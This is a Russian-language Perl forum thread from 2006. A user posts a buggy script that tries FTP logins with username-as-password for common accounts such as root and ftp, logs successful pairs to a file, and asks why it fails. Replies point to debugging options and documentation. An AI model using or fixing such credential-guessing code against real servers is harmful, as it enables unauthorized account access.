Forum Webscript.Ru

Программирование => Perl => Тема начата: DNK от 29 Марта 2006, 18:24:44

Название: Почему не работает
Отправлено: DNK от 29 Марта 2006, 18:24:44

Вот написал:
#!/usr/bin/perl
use Net::FTP;

$ftp_serv = "ftp.narod.ru"; #к примеру ftp.narod.ru он то всегда работает
$test = Net::FTP->new($ftp_serv) || die print "FTP server no UP\\n"; exit;
open(OUT,">account.txt");
@login = qw{ root mail gretr ftp login};
for($i=0;$1<=4;$i++)
{
   print ("Now $login[$i]\\n");
   ftpcon($ftp_serv,$login[$i]);
}
#######################################
sub ftpcon
{
   $ftp = Net::FTP->new($_[0]);
   if($ftp->login($_[1],$_[1]))
   {
      print OUT "$_[1]:$_[1]\\n";
   }
   close($ftp);
}
#######################################
Но скрипт выводит: FTP server no UP
а на самом деле все АП
В чем проблема? Спасибо

Название: Почему не работает
Отправлено: cr4ck3r от 29 Марта 2006, 18:28:50

дебаггер в руки и - отслеживаем процес работы скрипта и инициализации переменных.

Название: Почему не работает
Отправлено: NeoNox от 29 Марта 2006, 18:39:17

$ftp = Net::FTP->new("ftp.narod.ru", Debug =>1);

Название: Почему не работает
Отправлено: DNK от 29 Марта 2006, 19:05:22

Debug =>1
что это значит?

Название: Почему не работает
Отправлено: NeoNox от 29 Марта 2006, 19:38:17

http://search.cpan.org/~gbarr/libnet-1.19/Net/FTP.pm#CONSTRUCTOR
Выдает как происходит сообщение с сервером.

Название: Почему не работает
Отправлено: DNK от 29 Марта 2006, 19:44:51

Спасибо NeoNox очень полезную ссылочку дал, жаль что на анг.
не знаешь ли подобного ресурса на русском?

Название: Почему не работает
Отправлено: NeoNox от 29 Марта 2006, 19:49:29

Нет, на русском не знаю, но знаю еще одну полезную ссылочку:
http://www.translate.ru

Название: Почему не работает
Отправлено: DNK от 29 Марта 2006, 19:56:28

Похоже он не пашет
Sorry, the server is on maintenance service now. Try to repeat your request later.

Название: Почему не работает
Отправлено: NeoNox от 29 Марта 2006, 22:48:59

DNK пашет, но у них весьма нестабильный сервер.